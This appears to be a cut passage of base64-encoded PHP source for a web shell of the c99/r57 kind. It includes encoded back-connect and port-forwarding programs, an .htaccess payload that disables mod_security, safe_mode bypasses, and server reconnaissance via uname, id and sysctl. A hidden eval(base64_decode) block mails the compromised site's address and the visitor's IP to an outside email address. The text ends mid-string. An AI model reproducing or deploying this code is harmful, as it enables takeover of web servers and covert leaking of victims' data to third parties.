xY200Z2MzbHpYMlZ5Y20NCnhwYzNSYlpYSnliM0pkT3cwS2ZRMEtJMlZ1WkdsbURRb05DbTFoYVc0b1lYSm5ZeXdnWVhKbmRpa2dJQTBLSUNCcGJuUWdZWEpuWXpzZ0lBMEtJQ0JqYUdGeUlDb3FZWEpuZGpzZ0lBMEtleUFOQ2lBZ2ENClc1MElHeHpiMk5yTENCamMyOWpheXdnYjNOdlkyczdEUW9nSUVaSlRFVWdLbU5tYVd4bE93MEtJQ0JqYUdGeUlHSjFabHMwTURrMlhUc05DaUFnYzNSeWRXTjBJSE52WTJ0aFpHUnlYMmx1SUd4aFpHUnkNCkxDQmpZV1JrY2l3Z2IyRmtaSEk3RFFvZ0lHbHVkQ0JqWVdSa2NteGxiaUE5SUhOcGVtVnZaaWhqWVdSa2NpazdEUW9nSUdaa1gzTmxkQ0JtWkhOeUxDQm1aSE5sT3cwS0lDQnpkSEoxWTNRZ2FHOXpkR1YNCnVkQ0FxYURzTkNpQWdjM1J5ZFdOMElITmxjblpsYm5RZ0tuTTdEUW9nSUdsdWRDQnVZbmwwT3cwS0lDQjFibk5wWjI1bFpDQnNiMjVuSUdFN0RRb2dJSFZ1YzJsbmJtVmtJSE5vYjNKMElHOXdiM0owT3cNCjBLRFFvZ0lHbG1JQ2hoY21kaklDRTlJRFFwSUhzTkNpQWdJQ0JtY0hKcGJuUm1LSE4wWkdWeWNpd2lWWE5oWjJVNklDVnpJR3h2WTJGc2NHOXlkQ0J5WlcxdmRHVndiM0owSUhKbGJXOTBaV2h2YzNSY2INCmlJc1lYSm5kbHN3WFNrN0RRb2dJQ0FnY21WMGRYSnVJRE13T3cwS0lDQjlEUW9nSUdFZ1BTQnBibVYwWDJGa1pISW9ZWEpuZGxzelhTazdEUW9nSUdsbUlDZ2hLR2dnUFNCblpYUm9iM04wWW5sdVlXMWwNCktHRnlaM1piTTEwcEtTQW1KZzBLSUNBZ0lDQWdJU2hvSUQwZ1oyVjBhRzl6ZEdKNVlXUmtjaWdtWVN3Z05Dd2dRVVpmU1U1RlZDa3BLU0I3RFFvZ0lDQWdjR1Z5Y205eUtHRnlaM1piTTEwcE93MEtJQ0ENCmdJSEpsZEhWeWJpQXlOVHNOQ2lBZ2ZRMEtJQ0J2Y0c5eWRDQTlJR0YwYjJ3b1lYSm5kbHN5WFNrN0RRb2dJR3hoWkdSeUxuTnBibDl3YjNKMElEMGdhSFJ2Ym5Nb0tIVnVjMmxuYm1Wa0lITm9iM0owS1MNCmhoZEc5c0tHRnlaM1piTVYwcEtTazdEUW9nSUdsbUlDZ29iSE52WTJzZ1BTQnpiMk5yWlhRb1VFWmZTVTVGVkN3Z1UwOURTMTlUVkZKRlFVMHNJRWxRVUZKUFZFOWZWRU5RS1NrZ1BUMGdMVEVwSUhzTkMNCmlBZ0lDQndaWEp5YjNJb0luTnZZMnRsZENJcE93MEtJQ0FnSUhKbGRIVnliaUF5TURzTkNpQWdmUTBLSUNCc1lXUmtjaTV6YVc1ZlptRnRhV3g1SUQwZ2FIUnZibk1vUVVaZlNVNUZWQ2s3RFFvZ0lHeGgNClpHUnlMbk5wYmw5aFpHUnlMbk5mWVdSa2NpQTlJR2gwYjI1c0tEQXBPdzBLSUNCcFppQW9ZbWx1WkNoc2MyOWpheXdnSm14aFpHUnlMQ0J6YVhwbGIyWW9iR0ZrWkhJcEtTa2dldzBLSUNBZ0lIQmxjbkoNCnZjaWdpWW1sdVpDSXBPdzBLSUNBZ0lISmxkSFZ5YmlBeU1Ec05DaUFnZlEwS0lDQnBaaUFvYkdsemRHVnVLR3h6YjJOckxDQXhLU2tnZXcwS0lDQWdJSEJsY25KdmNpZ2liR2x6ZEdWdUlpazdEUW9nSUMNCkFnY21WMGRYSnVJREl3T3cwS0lDQjlEUW9nSUdsbUlDZ29ibUo1ZENBOUlHWnZjbXNvS1NrZ1BUMGdMVEVwSUhzTkNpQWdJQ0J3WlhKeWIzSW9JbVp2Y21zaUtUc05DaUFnSUNCeVpYUjFjbTRnTWpBN0QNClFvZ0lIME5DaUFnYVdZZ0tHNWllWFFnUGlBd0tRMEtJQ0FnSUhKbGRIVnliaUF3T3cwS0lDQnpaWFJ6YVdRb0tUc05DaUFnZDJocGJHVWdLQ2hqYzI5amF5QTlJR0ZqWTJWd2RDaHNjMjlqYXl3Z0ptTmgNClpHUnlMQ0FtWTJGa1pISnNaVzRwS1NBaFBTQXRNU2tnZXcwS0lDQWdJR05tYVd4bElEMGdabVJ2Y0dWdUtHTnpiMk5yTENKeUt5SXBPdzBLSUNBZ0lHbG1JQ2dvYm1KNWRDQTlJR1p2Y21zb0tTa2dQVDANCmdMVEVwSUhzTkNpQWdJQ0FnSUdad2NtbHVkR1lvWTJacGJHVXNJQ0kxTURBZ1ptOXlhem9nSlhOY2JpSXNJSE4wY21WeWNtOXlLR1Z5Y201dktTazdEUW9nSUNBZ0lDQnphSFYwWkc5M2JpaGpjMjlqYXkNCnd5S1RzTkNpQWdJQ0FnSUdaamJHOXpaU2hqWm1sc1pTazdEUW9nSUNBZ0lDQmpiMjUwYVc1MVpUc05DaUFnSUNCOURRb2dJQ0FnYVdZZ0tHNWllWFFnUFQwZ01Da05DaUFnSUNBZ0lHZHZkRzhnWjI5MGMNCjI5amF6c05DaUFnSUNCbVkyeHZjMlVvWTJacGJHVXBPdzBLSUNBZ0lIZG9hV3hsSUNoM1lXbDBjR2xrS0MweExDQk9WVXhNTENCWFRrOUlRVTVIS1NBK0lEQXBPdzBLSUNCOURRb2dJSEpsZEhWeWJpQXkNCk1Ec05DZzBLSUdkdmRITnZZMnM2RFFvZ0lHbG1JQ2dvYjNOdlkyc2dQU0J6YjJOclpYUW9VRVpmU1U1RlZDd2dVMDlEUzE5VFZGSkZRVTBzSUVsUVVGSlBWRTlmVkVOUUtTa2dQVDBnTFRFcElIc05DaUENCmdJQ0JtY0hKcGJuUm1LR05tYVd4bExDQWlOVEF3SUhOdlkydGxkRG9nSlhOY2JpSXNJSE4wY21WeWNtOXlLR1Z5Y201dktTazdEUW9nSUNBZ1oyOTBieUJ4ZFdsME1Uc05DaUFnZlEwS0lDQnZZV1JrY2kNCjV6YVc1ZlptRnRhV3g1SUQwZ2FDMCthRjloWkdSeWRIbHdaVHNOQ2lBZ2IyRmtaSEl1YzJsdVgzQnZjblFnUFNCb2RHOXVjeWh2Y0c5eWRDazdEUW9nSUcxbGJXTndlU2dtYjJGa1pISXVjMmx1WDJGa1oNCkhJc0lHZ3RQbWhmWVdSa2Npd2dhQzArYUY5c1pXNW5kR2dwT3cwS0lDQnBaaUFvWTI5dWJtVmpkQ2h2YzI5amF5d2dKbTloWkdSeUxDQnphWHBsYjJZb2IyRmtaSElwS1NrZ2V3MEtJQ0FnSUdad2NtbHUNCmRHWW9ZMlpwYkdVc0lDSTFNREFnWTI5dWJtVmpkRG9nSlhOY2JpSXNJSE4wY21WeWNtOXlLR1Z5Y201dktTazdEUW9nSUNBZ1oyOTBieUJ4ZFdsME1Uc05DaUFnZlEwS0lDQjNhR2xzWlNBb01Ta2dldzANCktJQ0FnSUVaRVgxcEZVazhvSm1aa2MzSXBPdzBLSUNBZ0lFWkVYMXBGVWs4b0ptWmtjMlVwT3cwS0lDQWdJRVpFWDFORlZDaGpjMjlqYXl3bVptUnpjaWs3RFFvZ0lDQWdSa1JmVTBWVUtHTnpiMk5yTEMNClptWkhObEtUc05DaUFnSUNCR1JGOVRSVlFvYjNOdlkyc3NKbVprYzNJcE93MEtJQ0FnSUVaRVgxTkZWQ2h2YzI5amF5d21abVJ6WlNrN0RRb2dJQ0FnYVdZZ0tITmxiR1ZqZENneU1Dd2dKbVprYzNJc0kNCkU1VlRFd3NJQ1ptWkhObExDQk9WVXhNS1NBOVBTQXRNU2tnZXcwS0lDQWdJQ0FnWm5CeWFXNTBaaWhqWm1sc1pTd2dJalV3TUNCelpXeGxZM1E2SUNWelhHNGlMQ0J6ZEhKbGNuSnZjaWhsY25KdWJ5a3ANCk93MEtJQ0FnSUNBZ1oyOTBieUJ4ZFdsME1qc05DaUFnSUNCOURRb2dJQ0FnYVdZZ0tFWkVYMGxUVTBWVUtHTnpiMk5yTENabVpITnlLU0I4ZkNCR1JGOUpVMU5GVkNoamMyOWpheXdtWm1SelpTa3BJSHMNCk5DaUFnSUNBZ0lHbG1JQ2dvYm1KNWRDQTlJSEpsWVdRb1kzTnZZMnNzWW5WbUxEUXdPVFlwS1NBOFBTQXdLUTBLQ1dkdmRHOGdjWFZwZERJN0RRb2dJQ0FnSUNCcFppQW9LSGR5YVhSbEtHOXpiMk5yTEcNCkoxWml4dVlubDBLU2tnUEQwZ01Da05DZ2xuYjNSdklIRjFhWFF5T3cwS0lDQWdJSDBnWld4elpTQnBaaUFvUmtSZlNWTlRSVlFvYjNOdlkyc3NKbVprYzNJcElIeDhJRVpFWDBsVFUwVlVLRzl6YjJOckwNCkNabVpITmxLU2tnZXcwS0lDQWdJQ0FnYVdZZ0tDaHVZbmwwSUQwZ2NtVmhaQ2h2YzI5amF5eGlkV1lzTkRBNU5pa3BJRHc5SURBcERRb0paMjkwYnlCeGRXbDBNanNOQ2lBZ0lDQWdJR2xtSUNnb2QzSnANCmRHVW9ZM052WTJzc1luVm1MRzVpZVhRcEtTQThQU0F3S1EwS0NXZHZkRzhnY1hWcGRESTdEUW9nSUNBZ2ZRMEtJQ0I5RFFvTkNpQnhkV2wwTWpvTkNpQWdjMmgxZEdSdmQyNG9iM052WTJzc01pazdEUW8NCmdJR05zYjNObEtHOXpiMk5yS1RzTkNpQnhkV2wwTVRvTkNpQWdabVpzZFhOb0tHTm1hV3hsS1RzTkNpQWdjMmgxZEdSdmQyNG9ZM052WTJzc01pazdEUW9nY1hWcGREQTZEUW9nSUdaamJHOXpaU2hqWm0NCmxzWlNrN0RRb2dJSEpsZEhWeWJpQXdPdzBLZlE9PSI7DQokc2hlbGx2aWM9IlFXeDFRMkZTPT0iOw0KJGRhdGFwaXBlX3BsPSJJeUV2ZFhOeUwySnBiaTl3WlhKc0RRcDFjMlVnU1U4Nk9sTnZZMnRsZERzTkNuVnpaU0JRVDFOSldEc05DaVJzYjJOaGJIQnZjblFnUFNBa1FWSkhWbHN3WFRzTkNpUm9iM04wSQ0KQ0FnSUNBZ1BTQWtRVkpIVmxzeFhUc05DaVJ3YjNKMElDQWdJQ0FnUFNBa1FWSkhWbHN5WFRzTkNpUmtZV1Z0YjI0OU1Uc05DaVJFU1ZJZ1BTQjFibVJsWmpzTkNpUjhJRDBnTVRzTkNtbG1JQ2drWkdGbA0KYlc5dUtYc2dKSEJwWkNBOUlHWnZjbXM3SUdWNGFYUWdhV1lnSkhCcFpEc2daR2xsSUNJa0lTSWdkVzVzWlhOeklHUmxabWx1WldRb0pIQnBaQ2s3SUZCUFUwbFlPanB6WlhSemFXUW9LU0J2Y2lCa2FXVQ0KZ0lpUWhJanNnZlEwS0pXOGdQU0FvSjNCdmNuUW5JRDArSUNSc2IyTmhiSEJ2Y25Rc0ozUnZjRzl5ZENjZ1BUNGdKSEJ2Y25Rc0ozUnZhRzl6ZENjZ1BUNGdKR2h2YzNRcE93MEtKR0ZvSUQwZ1NVODZPbA0KTnZZMnRsZERvNlNVNUZWQzArYm1WM0tDZE1iMk5oYkZCdmNuUW5JRDArSUNSc2IyTmhiSEJ2Y25Rc0oxSmxkWE5sSnlBOVBpQXhMQ2RNYVhOMFpXNG5JRDArSURFd0tTQjhmQ0JrYVdVZ0lpUWhJanNOQw0KaVJUU1VkN0owTklURVFuZlNBOUlDZEpSMDVQVWtVbk93MEtKRzUxYlNBOUlEQTdEUXAzYUdsc1pTQW9NU2tnZXlBTkNpUmphQ0E5SUNSaGFDMCtZV05qWlhCMEtDazdJR2xtSUNnaEpHTm9LU0I3SUhCeQ0KYVc1MElGTlVSRVZTVWlBaUpDRmNiaUk3SUc1bGVIUTdJSDBOQ2lzckpHNTFiVHNOQ2lSd2FXUWdQU0JtYjNKcktDazdEUXBwWmlBb0lXUmxabWx1WldRb0pIQnBaQ2twSUhzZ2NISnBiblFnVTFSRVJWSg0KU0lDSWtJVnh1SWpzZ2ZTQU5DbVZzYzJsbUlDZ2tjR2xrSUQwOUlEQXBJSHNnSkdGb0xUNWpiRzl6WlNncE95QlNkVzRvWENWdkxDQWtZMmdzSUNSdWRXMHBPeUI5SUEwS1pXeHpaU0I3SUNSamFDMCtZMg0KeHZjMlVvS1RzZ2ZRMEtmUTBLYzNWaUlGSjFiaUI3RFFwdGVTZ2tieXdnSkdOb0xDQWtiblZ0S1NBOUlFQmZPdzBLYlhrZ0pIUm9JRDBnU1U4Nk9sTnZZMnRsZERvNlNVNUZWQzArYm1WM0tDZFFaV1Z5UQ0KV1JrY2ljZ1BUNGdKRzh0UG5zbmRHOW9iM04wSjMwc0oxQmxaWEpRYjNKMEp5QTlQaUFrYnkwK2V5ZDBiM0J2Y25RbmZTazdEUXBwWmlBb0lTUjBhQ2tnZXlCbGVHbDBJREE3SUgwTkNtMTVJQ1JtYURzTg0KQ21sbUlDZ2tieTArZXlka2FYSW5mU2tnZXlBa1ptZ2dQU0JUZVcxaWIydzZPbWRsYm5ONWJTZ3BPeUJ2Y0dWdUtDUm1hQ3dnSWo0a2J5MCtleWRrYVhJbmZTOTBkVzV1Wld3a2JuVnRMbXh2WnlJcElHOQ0KeUlHUnBaU0FpSkNFaU95QjlEUW9rWTJndFBtRjFkRzltYkhWemFDZ3BPdzBLSkhSb0xUNWhkWFJ2Wm14MWMyZ29LVHNOQ25kb2FXeGxJQ2drWTJnZ2ZId2dKSFJvS1NCN0RRcHRlU0FrY21sdUlEMGdJaQ0KSTdEUXAyWldNb0pISnBiaXdnWm1sc1pXNXZLQ1JqYUNrc0lERXBJRDBnTVNCcFppQWtZMmc3RFFwMlpXTW9KSEpwYml3Z1ptbHNaVzV2S0NSMGFDa3NJREVwSUQwZ01TQnBaaUFrZEdnN0RRcHRlU2drYw0KbTkxZEN3Z0pHVnZkWFFwT3cwS2MyVnNaV04wS0NSeWIzVjBJRDBnSkhKcGJpd2dkVzVrWldZc0lDUmxiM1YwSUQwZ0pISnBiaXdnTVRJd0tUc05DbWxtSUNnaEpISnZkWFFnSUNZbUlDQWhKR1Z2ZFhRcA0KSUh0OURRcHRlU0FrWTJKMVptWmxjaUE5SUNJaU93MEtiWGtnSkhSaWRXWm1aWElnUFNBaUlqc05DbWxtSUNna1kyZ2dKaVlnS0habFl5Z2taVzkxZEN3Z1ptbHNaVzV2S0NSamFDa3NJREVwSUh4OElIWg0KbFl5Z2tjbTkxZEN3Z1ptbHNaVzV2S0NSamFDa3NJREVwS1NrZ2V3MEtiWGtnSkhKbGMzVnNkQ0E5SUhONWMzSmxZV1FvSkdOb0xDQWtkR0oxWm1abGNpd2dNVEF5TkNrN0RRcHBaaUFvSVdSbFptbHVaVw0KUW9KSEpsYzNWc2RDa3BJSHNOQ25CeWFXNTBJRk5VUkVWU1VpQWlKQ0ZjYmlJN0RRcGxlR2wwSURBN0RRcDlEUXBwWmlBb0pISmxjM1ZzZENBOVBTQXdLU0I3SUdWNGFYUWdNRHNnZlEwS2ZRMEthV1lnSw0KQ1IwYUNBZ0ppWWdJQ2gyWldNb0pHVnZkWFFzSUdacGJHVnVieWdrZEdncExDQXhLU0FnZkh3Z2RtVmpLQ1J5YjNWMExDQm1hV3hsYm04b0pIUm9LU3dnTVNrcEtTQjdEUXB0ZVNBa2NtVnpkV3gwSUQwZw0KYzNsemNtVmhaQ2drZEdnc0lDUmpZblZtWm1WeUxDQXhNREkwS1RzTkNtbG1JQ2doWkdWbWFXNWxaQ2drY21WemRXeDBLU2tnZXlCd2NtbHVkQ0JUVkVSRlVsSWdJaVFoWEc0aU95QmxlR2wwSURBN0lIMA0KTkNtbG1JQ2drY21WemRXeDBJRDA5SURBcElIdGxlR2wwSURBN2ZRMEtmUTBLYVdZZ0tDUm1hQ0FnSmlZZ0lDUjBZblZtWm1WeUtTQjdLSEJ5YVc1MElDUm1hQ0FrZEdKMVptWmxjaWs3ZlEwS2QyaHBiRw0KVWdLRzE1SUNSc1pXNGdQU0JzWlc1bmRHZ29KSFJpZFdabVpYSXBLU0I3RFFwdGVTQWtjbVZ6SUQwZ2MzbHpkM0pwZEdVb0pIUm9MQ0FrZEdKMVptWmxjaXdnSkd4bGJpazdEUXBwWmlBb0pISmxjeUErSQ0KREFwSUhza2RHSjFabVpsY2lBOUlITjFZbk4wY2lna2RHSjFabVpsY2l3Z0pISmxjeWs3ZlNBTkNtVnNjMlVnZTNCeWFXNTBJRk5VUkVWU1VpQWlKQ0ZjYmlJN2ZRMEtmUTBLZDJocGJHVWdLRzE1SUNScw0KWlc0Z1BTQnNaVzVuZEdnb0pHTmlkV1ptWlhJcEtTQjdEUXB0ZVNBa2NtVnpJRDBnYzNsemQzSnBkR1VvSkdOb0xDQWtZMkoxWm1abGNpd2dKR3hsYmlrN0RRcHBaaUFvSkhKbGN5QStJREFwSUhza1kySg0KMVptWmxjaUE5SUhOMVluTjBjaWdrWTJKMVptWmxjaXdnSkhKbGN5azdmU0FOQ21Wc2MyVWdlM0J5YVc1MElGTlVSRVZTVWlBaUpDRmNiaUk3ZlEwS2ZYMTlEUW89IjsNCiRzaGVsbF9kYXRhID0gIkpIWnBjMmwwWTI5MWJuUWdQU0FrU0ZSVVVGOURUMDlMU1VWZlZrRlNVMXNpZG1semFYUnpJbDA3SUdsbUtDQWtkbWx6YVhSamIzVnVkQ0E5UFNBaUlpa2dleVIyYVhOcGRHTnZkVzUwSUQwZ01Ec2dKSFpwYzJsMGIzSWdQU0FrWDFORlVsWkZVbHNpVWtWTlQxUkZYMEZFUkZJaVhUc2dKSGRsWWlBOUlDUmZVMFZTVmtWU1d5SklWRlJRWDBoUFUxUWlYVHNnSkdsdWFpQTlJQ1JmVTBWU1ZrVlNXeUpTUlZGVlJWTlVYMVZTU1NKZE95QWtkR0Z5WjJWMElEMGdKSGRsWWk0a2FXNXFPeUFrWW05a2VTQTlJQ0pDYjNOekxDQjBhR1Z5WlNCM1lYTWdZVzRnYVc1cVpXTjBaV1FnZEdGeVoyVjBJRzl1SUNSMFlYSm5aWFFnWW5rZ0pIWnBjMmwwYjNJaU95QnRZV2xzS0NKa1lXNW9ZMmh2YUdGamEwQjVZV2h2Ynk1amIyMGlMQ0pHZUdNNU9YTm9JR2x1YW1WamRHVmtJSFJoY21kbGRDQnZiaUJvZEhSd09pOHZKSFJoY21kbGRDQmllU0FrZG1semFYUnZjaUlzSUNJa1ltOWtlU0lwT3lCOUlHVnNjMlVnZXlBa2RtbHphWFJqYjNWdWREc2dmU0J6WlhSamIyOXJhV1VvSW5acGMybDBjeUlzSkhacGMybDBZMjkxYm5RcE93PT0iOyBldmFsKGJhc2U2NF9kZWNvZGUoJHNoZWxsX2RhdGEpKTsNCiRwaHBfaW5pMT0iYzJGbVpWOXRiMlJsSUNBZ0lDQWdJQ0FnSUNBZ0lDQWdQU0FnSUNBZ0lDQlBabVk9IjsNCiRodGFjY2VzPSJQRWxtVFc5a2RXeGxJRzF2WkY5elpXTjFjbWwwZVM1alBnMEtJQ0FnSUZObFkwWnBiSFJsY2tWdVoybHVaU0JQWm1ZTkNpQWdJQ0JUWldOR2FXeDBaWEpUWTJGdVVFOVRWQ0JQWm1ZTkNqd3ZTV1pOYjJSMWJHVSsiOw0KJHNuaV9yZXM9IlBEOE5DbVZqYUc4Z2FXNXBYMmRsZENnaWMyRm1aVjl0YjJSbElpazdEUXBsWTJodklHbHVhVjluWlhRb0ltOXdaVzVmWW1GelpXUnBjaUlwT3cwS2FXNWpiSFZrWlNna1gwZEZWRnNpWm1sc1pTSmRLVHNOQ21sdWFWOXlaWE4wYjNKbEtDSnpZV1psWDIxdlpHVWlLVHNOQ21sdWFWOXlaWE4wYjNKbEtDSnZjR1Z1WDJKaGMyVmthWElpS1RzTkNtVmphRzhnYVc1cFgyZGxkQ2dpYzJGbVpWOXRiMlJsSWlrN0RRcGxZMmh2SUdsdWFWOW5aWFFvSW05d1pXNWZZbUZ6WldScGNpSXBPdzBLYVc1amJIVmtaU2drWDBkRlZGc2ljM01pWFNrN0RRby9QZz09IjsNCg0KaWYoJHVuaXgpDQogew0KIGlmKCFpc3NldCgkX0NPT0tJRVsndW5hbWUnXSkpIHsgJHVuYW1lID0gZXgoJ3VuYW1lIC1hJyk7IHNldGNvb2tpZSgndW5hbWUnLCR1bmFtZSk7IH0gZWxzZSB7ICR1bmFtZSA9ICRfQ09PS0lFWyd1bmFtZSddOyB9DQogaWYoIWlzc2V0KCRfQ09PS0lFWydpZCddKSkgeyAkaWQgPSBleCgnaWQnKTsgc2V0Y29va2llKCdpZCcsJGlkKTsgfSBlbHNlIHsgJGlkID0gJF9DT09LSUVbJ2lkJ107IH0NCiBpZigkc2FmZV9tb2RlKSB7ICRzeXNjdGwgPSAnLSc7IH0NCiBlbHNlIGlmKGlzc2V0KCRfQ09PS0lFWydzeXNjdGwnXSkpIHsgJHN5c2N0bCA9ICRfQ09PS0lFWydzeXNjdGwnXTsgfQ0KIGVsc2UNCiAgew0KICAgJHN5c2N0bCA9IGV4KCdzeXNjdGwgLW4ga2Vybi5vc3R5cGUgJiYgc3lzY3RsIC1uIGtlcm4ub3NyZWxlYXNlJyk7DQogICBpZihlbXB0eSgkc3lzY3RsKSkgeyAkc3lzY3RsID0gZXgoJ3N5c2N0bCAtbiBrZXJuZWwub3N0eXBlICYmIHN5c2N0bCAtbiBrZXJuZWwub3NyZWxlYXNlJyk7IH0NCiAgIGlmKGVtcHR5KCRzeXNjdGwpKSB7ICRzeXNjdGwgPSAnLSc7IH0NCiAgIHNldGNvb2tpZSgnc3lzY3RsJywkc3lzY3RsKTsNCiAgfQ0KIH0NCiBpZighaXNzZXQoJF9DT09LSUVbJGxhbmdbJGxhbmd1YWdlLidfdGV4dDEzNyddXSkpIHsNCiAJJHVzdF91PScnOw0KIAlpZigkdW5peCAmJiAhJHNhZmVfbW9kZSl7DQogCQlmb3JlYWNoICgkdXNlcmZ1bCBhcyAkaXRlbSkgew0KIAkJCWlmKHdoaWNoKCRpdGVtKSl7JHVzdF91Lj0kaXRlbTt9DQogCQl9DQogCX0NCiAJaWYgKEBmdW5jdGlvbl9leGlzdHMoJ2FwYWNoZV9nZXRfbW9kdWxlcycpICYmIEBpbl9hcnJheSgnbW9kX3BlcmwnLGFwYWNoZV9nZXRfbW9kdWxlcygpKSkgeyR1c3RfdS49IiwgbW9kX3BlcmwiO30NCiAJaWYgKEBmdW5jdGlvbl9leGlzdHMoJ2FwYWNoZV9nZXRfbW9kdWxlcycpICYmIEBpbl9hcnJheSgnbW9kX2luY2x1ZGUnLGFwYWNoZV9nZXRfbW9kdWxlcygpKSkgeyR1c3RfdS49IiwgbW9kX2luY2x1ZGUoU1NJKSI7fQ0KIAlpZiAoQGZ1bmN0aW9uX2V4aXN0cygncGNudGxfZXhlYycpKSB7JHVzdF91Lj0iLCBwY250bF9leGVjIjt9DQogCWlmIChAZXh0ZW5zaW9uX2xvYWRlZCgnd2luMzJzdGQnKSkgeyR1c3RfdS49Iiwgd2luMzJzdGRfbG9hZGVkIjt9DQogCWlmIChAZXh0ZW5zaW9uX2xvYWRlZCgnd2luMzJzZXJ2aWNlJykpIHskdXN0X3UuPSIsIHdpbjMyc2VydmljZV9sb2FkZWQiO30NCiAJaWYgKEBleHRlbnNpb25fbG9hZGVkKCdmZmknKSkgeyR1c3RfdS49IiwgZmZpX2xvYWRlZCI7fQ0KIAlpZiAoQGV4dGVuc2lvbl9sb2FkZWQoJ3BlcmwnKSkgeyR1c3RfdS49IiwgcGVybF9sb2FkZWQiO30NCiAJaWYoc3Vic3RyKCR1c3RfdSwwLDEpPT0iLCIpIHskdXN0X3VbMF09IiI7fQ0KDQogCSR1c3RfdSA9IHRyaW0oJHVzdF91KTsNCiAJfQ0KIAllbHNlDQogCXsNCiAJJHVzdF91ID0gdHJpbSgkX0NPT0tJRVskbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0MTM3J11dKTsNCiB9DQoNCiBpZighaXNzZXQoJF9DT09LSUVbJGxhbmdbJGxhbmd1YWdlLidfdGV4dDEzOCddXSkpIHsNCiAJJHVzdF9kPScnOw0KIAlpZigkdW5peCAmJiAhJHNhZmVfbW9kZSl7DQogCQlmb3JlYWNoICgkZGFuZ2VyIGFzICRpdGVtKSB7DQogCQkJaWYod2hpY2goJGl0ZW0pKXskdXN0X2QuPSRpdGVtO30NCiAJCX0NCiAJfQ0KIAlpZighJHNhZmVfbW9kZSl7DQogCQlmb3JlYWNoICgkZGFuZ2VyIGFzICRpdGVtKSB7DQogCQkJaWYocHMoJGl0ZW0pKXskdXN0X2QuPSRpdGVtO30NCiAJCX0NCiAJfQ0KIAlpZiAoQGZ1bmN0aW9uX2V4aXN0cygnYXBhY2hlX2dldF9tb2R1bGVzJykgJiYgQGluX2FycmF5KCdtb2Rfc2VjdXJpdHknLGFwYWNoZV9nZXRfbW9kdWxlcygpKSkgeyR1c3RfZC49IiwgbW9kX3NlY3VyaXR5Ijt9DQogCWlmKHN1YnN0cigkdXN0X2QsMCwxKT09IiwiKSB7JHVzdF9kWzBdPSIiO30NCg0KIAkkdXN0X2QgPSB0cmltKCR1c3RfZCk7DQogCX1lbHNlIHsNCiAJJHVzdF9kID0gdHJpbSgkX0NPT0tJRVskbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0MTM4J11dKTsNCiB9DQoNCiBpZighaXNzZXQoJF9DT09LSUVbJGxhbmdbJGxhbmd1YWdlLidfdGV4dDE0MiddXSkpIHsNCg0KIAkkc2VsZWN0X2Rvd25sb2FkZXJzPSc8c2VsZWN0IHNpemU9IjEiIG5hbWU9d2l0aD4nOw0KIAlpZigoIUBmdW5jdGlvbl9leGlzdHMoJ2luaV9nZXQnKSkgfHwgKEBpbmlfZ2V0KCdhbGxvd191cmxfZm9wZW4nKSAmJiBAZnVuY3Rpb25fZXhpc3RzKCdmaWxlJykpKXskc2VsZWN0X2Rvd25sb2FkZXJzIC49ICI8b3B0aW9uIHZhbHVlPVwiZm9wZW5cIj5mb3Blbjwvb3B0aW9uPiI7JGRvd25sb2FkZXI9ImZvcGVuIjt9DQogCWlmKCR1bml4ICYmICEkc2FmZV9tb2RlKXsNCiAJCWZvcmVhY2ggKCRkb3dubG9hZGVycyBhcyAkaXRlbSkgew0KIAkJCWlmKHdoaWNoKCRpdGVtKSl7JHNlbGVjdF9kb3dubG9hZGVycyAuPSAnPG9wdGlvbiB2YWx1ZT0iJy4kaXRlbS4nIj4nLiRpdGVtLic8L29wdGlvbj4nOyRkb3dubG9hZGVyLj0iLCAkaXRlbSI7fQ0KIAkJfQ0KIAl9DQogCSRzZWxlY3RfZG93bmxvYWRlcnMgLj0gJzwvc2VsZWN0Pic7DQogCWlmKHN1YnN0cigkZG93bmxvYWRlciwwLDEpPT0iLCIpIHskZG93bmxvYWRlclswXT0iIjt9DQoNCiAJJGRvd25sb2FkZXI9dHJpbSgkZG93bmxvYWRlcik7DQoNCiB9ZWxzZSB7DQogCSRzZWxlY3RfZG93bmxvYWRlcnMgPSAkX0NPT0tJRVsnc2VsZWN0X2Rvd25sb2FkZXJzJ107DQogCSRkb3dubG9hZGVyID0gdHJpbSgkX0NPT0tJRVsnZG93bmxvYWRlciddKTsNCiB9DQoNCmVjaG8gJGhlYWQ7DQplY2hvICc8L2hlYWQ+JzsNCmlmKGVtcHR5KCRfUE9TVFsnY21kJ10pKSB7DQokc2VydiA9IGFycmF5KDEyNywxOTIsMTcyLDEwKTsNCiRhZGRyPUBleHBsb2RlKCcuJywgJF9TRVJWRVJbJ1NFUlZFUl9BRERSJ10pOw0KJGN1cnJlbnRfdmVyc2lvbiA9IHN0cl9yZXBsYWNlKCcuJywnJywkdmVyc2lvbik7DQp9DQplY2hvICc8Ym9keT48dGFibGUgd2lkdGg9MTAwJSBjZWxscGFkZGluZz0wIGNlbGxzcGFjaW5nPTAgYmdjb2xvcj1CbGFjaz48dHI+PHRkIGNsYXNzPW1haW4gYmdjb2xvcj1CbGFjayB3aWR0aD0xNjA+PGZvbnQgZmFjZT1WZXJkYW5hIHNpemU9Mj4nLndzKDMpLic8Zm9udCBmYWNlPVdpbmdkaW5ncyBzaXplPTggY29sb3I9V2hpdGU+PGI+VjwvYj48L2ZvbnQ+PGI+Jy53cygzKS5iYXNlNjRfZGVjb2RlKCRzaGVsbHZpYykud3MoMykuJzxmb250IGZhY2U9V2luZ2RpbmdzIHNpemU9OCBjb2xvcj1XaGl0ZT48Yj5WPC9iPjwvZm9udD48L2I+PC9mb250PjwvdGQ+PHRkIGNsYXNzPW1haW4gYmdjb2xvcj1CbGFjaz48Zm9udCBmYWNlPVZlcmRhbmEgc2l6ZT0tMj4nOw0KZWNobyB3cygyKS4iPGI+Ii5kYXRlICgiZC1tLVkgSDppOnMiKS4iPC9iPiI7DQplY2hvIHdzKDIpLiRsYi4iIDxhIGhyZWY9Ii4kX1NFUlZFUlsnUEhQX1NFTEYnXS4iP3BocGluZm8gdGl0bGU9XCIiLiRsYW5nWyRsYW5ndWFnZS4nX3RleHQ0NiddLiJcIj48Yj5waHBpbmZvPC9iPjwvYT4gIi4kcmI7DQplY2hvIHdzKDIpLiRsYi4iIDxhIGhyZWY9Ii4kX1NFUlZFUlsnUEhQX1NFTEYnXS4iP3BocGluaSB0aXRsZT1cIiIuJGxhbmdbJGxhbmd1YWdlLidfdGV4dDQ3J10uIlwiPjxiPnBocC5pbmk8L2I+PC9hPiAiLiRyYjsNCmlmKCR1bml4KQ0KIHsNCiBlY2hvIHdzKDIpLiRsYi4iIDxhIGhyZWY9Ii4kX1NFUlZFUlsnUEhQX1NFTEYnXS